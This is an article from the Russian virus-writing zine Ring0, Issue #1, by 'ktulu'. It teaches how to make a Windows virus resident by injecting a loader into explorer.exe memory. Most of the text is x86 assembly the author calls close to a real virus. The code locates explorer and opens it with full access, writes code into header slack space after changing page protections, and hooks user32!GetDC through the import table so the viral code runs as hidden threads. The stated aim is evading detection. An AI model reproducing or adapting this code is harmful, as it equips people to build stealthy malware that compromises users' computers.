/*-----------------------------------------------------------------------*/
/* R I N G 0, I S S U E # 1 */
/*-----------------------------------------------------------------------*/
Заражение эксплорера в памяти
by ktulu
Hello, comrades.
Совершенно очевидно, что писать обычный файловый вирус (трипак),
который пассивно распространяется, в наше время бесполезно. Любому
in-the-wild вирусу необходима резидентность.Поэтому просто удивительно,
сколько пишется per-process резидентов. Но ситуация меняется к лучшему.
Вообще есть несколько разных способов резидентности, я расскажу об
резидентности, через заражение эксплорера в памяти. Собственно, такая
идея у меня возникла после прочтения статьи griyo/29a и ковыряния
magistr'а. Посмотрев оба способа, я решил что возможно создать
универсальный win9x/ME/2k explorer infector. Что из этого получилось -
хз :), читайте в конце статьи.
Нашей задачей будет запуск в процессе explorer.exe нашего кода,
который потом уже сможет запустить вирус отдельной нитью (thread) в
эксплорере. Преимущества этого метода резидентности очевидны: вирус
висит не отдельным процессом, а одной или несколькими нитями эксплорера,
соответственно обнаружить его будет сложнее.
Теперь как это сделать. На самом деле все просто, нам нужно:
1. найти эксплорер
2. открыть его с правами на чтение/запись итд
3. найти в нем неиспользуемое место
4. записать туда наш loader
5. перенаправить какую-нибудь часто вызываемую апи на loader
6. после того, как loader получит управление, подгрузить основной
вирусный код и запустить его отдельной нитью (уже в эксплорере).
После этого уже можно делать все что угодно. Значит, поехали:
1. тут нам необходимо получить не только хендл на эксплорер, но и
его imagebase, чтобы знать потом куда писать. Хендл мне кажется проще
всего получить, найдя какое-нибудь окно эксплорера и воспользовавшись
GetWindowThreadProcessId и OpenProcess. Вот так:
;-----------------------------------------------------------------------------
Прим: весь код который здесь приводится приближен к реальному
вирусу. Поэтому кое-какие внешние процедуры отсутствуют. Если не
понятно, что какая-то процедура или макрос делают, посмотрите
прилагающиеся сорцы.
;-----------------------------------------------------------------------------
;find explorer
;in: none
;out: EAX explorer handle
findexpl:
pusha
push 'd'
push 'nWya'
push 'rT_l'
push 'lehS' ;Shell_TrayWnd
mov eax, esp
push 0
push eax
_call FindWindowA ;находим окно
add esp, 16
push eax
push esp
push eax
_call GetWindowThreadProcessId ;находим ProcessId эксплорера
test eax, eax
jz fatal_error
push 0
push PROCESS_ALL_ACCESS
_call OpenProcess ;открываем его
test eax, eax
je fatal_error
mov [esp+7*4], eax
popa
retn
;-----------------------------------------------------------------------------
Imagebase можно получить кучей разных способов, но проще всего
оказалось прочитав это в его PE headerе. Почему бы просто не взять
400000h? А потому что под, например, winnt 4.0 imagebase уже другой.
;-----------------------------------------------------------------------------
find_imagebase:
;in: ebx - explorer handle
; edi - temp buffer
pusha
push 100
push edi
_call GetWindowsDirectoryA
xor ecx, ecx
dec ecx
push edi
xor eax, eax
repnz scasb
dec edi
mov eax, 'pxe\'
stosd
mov eax, 'erol'
stosd
mov eax, 'xe.r'
stosd
mov word ptr [edi], 'e' ;explorer.exe, 0
pop ebx
mov edx, ebx
call fopen
mov esi, mz_size
mov edi, edx
call fread
mov eax, [edx].mz_neptr
call fseekBeg
add edx, mz_size
mov esi, pe_size
mov edi, edx
call fread
call fclose
mov eax, [edx].pe_imagebase
mov [esp+7*4], eax
popa
retn
;-----------------------------------------------------------------------------
Затем, после того, как мы нашли эксплорер, надо записать в него наш
загрузчик. Тут возникает вопрос: куда записывать. Я предлагаю
записываться в свободное место между хедером и первой секцией. Плюсы:
места там предостаточно, и гарантированно не потрем что-то нужное.
Минусы: на эти страницы стоит PAGE_READWRITE, так что если мы хотим
сделать самомодифичирующийся загрузчик (а нам придется это сделать), то
надо будет сделать лишний вызов VirtualProtect _memread и _memwrite, к
которым я здесь обращаюсь на входе имеют
;esi - size
;edi - buffer (для чтения/записи)
;ebx - handle
;ecx - rva
опять же смотрите сорцы.
;------------------------------------------------------------------------------
;inject code to explorer.exe
;in: edx указатель на temp буфеp
; edi headerz
; ebx хендл explorer.exe
; eax указатель на injected code
;out: eax rva injected code в контексте explorer.exe
inj_code:
pusha
xchg edi, edx
movzx ecx, [edx+mz_size].pe_ntheadersize
add ecx, [edx].mz_neptr
add ecx, 18h
mov esi, 28h
call _memread ;ищем куда бы записаться
mov ecx, [edi].oe_virt_rva ;проверяем пусто ли там
mov esi, inject_len
;кстати это же служит проверкой на резидентность
sub ecx, esi
push ecx
call _memread
push eax
xor eax, eax
mov ecx, esi
rep scasb
jnz fatal_error
pop eax
pop ecx
pusha ;ставим на эти страницы PAGE_READWRITE
push eax
push esp
push PAGE_READWRITE
push esi
add ecx, [ebp+(_addimagebase-vstart)] ;найденная imagebase
push ecx
push ebx
_call VirtualProtectEx
test eax, eax
jz fatal_error
pop eax
popa
mov edi, eax ;пишем себя
call _memwrite
add ecx, [ebp+(_addimagebase-vstart)]
mov [esp+7*4], ecx
popa
retn
;------------------------------------------------------------------------------
Итак, если все прошло успешно, то наш код уже на месте. Осталось
только заставить эксплорер передать туда управление, а там уже все в
наших руках. Самый простой способ это сделать - перенаправить
какую-нибудь api на наш loader GriYo предложил перехватывать GetDC и я
сделаю также, хотя на мой взгляд в реальном вирусе удобнее перехватить
какую-нибудь GetDlgCtrlID. Но на самом деле это не так важно. Тут есть
еще одно обстоятельство, которое надо учитывать. В nt/2k у эксплорера
IAT уже заполнен адресами импортируемых ф-ций, а сам IAT защищен от
записи. В том числе и из-за этого код griyo не будет работать на 2к/nt.
Здесь я перехватываю GetDC "честно" разбирая import table, хотя на
практике наверное будет удобнее найти ее поиском по адресу в IAT.
;------------------------------------------------------------------------------
;Hook explorer user32!GetDC
;in: edx указатель на temp буфеp
; eax новое значение точки входа user32!GetDC
; edi pe header
; ebx хендл explorer.exe
;out: eax указатель на user32!GetDC import entry
hook_expl:
pusha
push eax
xchg edx, edi
mov ecx, [edx].pe_importtablerva
mov esi, [edx].pe_importtablesize ;находим import table
call _memread
mov eax, edi
__verr_lib:
mov esi, [edi].im_librarynamerva ;находим entry для USER32.DLL
sub esi, ecx
cmp dword ptr [eax+esi], 'RESU'
je __user32_found
add edi, im_size
jmp __verr_lib
__user32_found:
; read user32 import table entry
xchg eax, edi
add edi, [edx].pe_importtablesize
mov esi, 200h
mov ecx, [eax].im_lookuptablerva
call _memread
push eax
mov edx, edi ;находим GetDC
add edi, esi
mov esi, 7
xor eax, eax
__next_func:
mov ecx, [edx+eax*4]
call _memread
push eax
mov eax, dword ptr [edi+2] ;GetDC
xor eax, dword ptr [edi+3]
cmp eax, 'DteG' xor 'CDte'
pop eax
je __GetDC_found
inc eax
jmp __next_func
__GetDC_found:
;read user32 IAT GetDC entry
pop edx
push 4
pop esi
shl eax, 2
xchg eax, ecx
add ecx, [edx].im_addresstablerva
call _memread
mov edi, esp
call _memwrite
pop eax
mov [esp+7*4], ecx
popa
retn
;------------------------------------------------------------------------------
Итак, мы перехватили user32!GetDC и через какое-то время наш код
получит управление. Осталось только получить доступ к программе, из
которой делался перехват. Это опять же можно сделать разными способами,
но самый простой - использовать
CreateFileMappingA/OpenFileMappingA/MapViewOfFile. Это стандартная
техника под виндой, так что описывать ее я не буду. Если не знаете, то
смотрите сорцы. А вообще про IPC (inter process communication)
написано очень много, в том числе и в vx журналах.
Что делать после того, как получили доступ? Да все что угодно - это
уже вам решать. Самое логичное - запустить в эксплорере отдельную нитку.
Или, если очень надо подальше спрятаться, делать свои дела при каждом
запуске api. Вариантов много.
Теперь о том где и как все это тестилось. Я тестил этот код на
win98se, winme, win2kpro sp1 и везде все было нормально. Однако есть
сведения о глюках на win95osr2, и что самое печальное win2k advanced
server. Однако, я уверен, что дело тут в ошибках в самом коде, а не
принципе. Если кто-то сможет протестировать и выяснить в чем проблема, а
тем более исправить недоделки, то пишите на [email protected].
btw, я написал стабильный вариант, который использует
CreateRemoteThread. К сожалению, такая api присутствует только на nt/2k.
Использовав небольшой трюк, можно "добавить поддержку" и winme, но
остается win98, которая стоит на большинстве машин.
...the call of ktulu...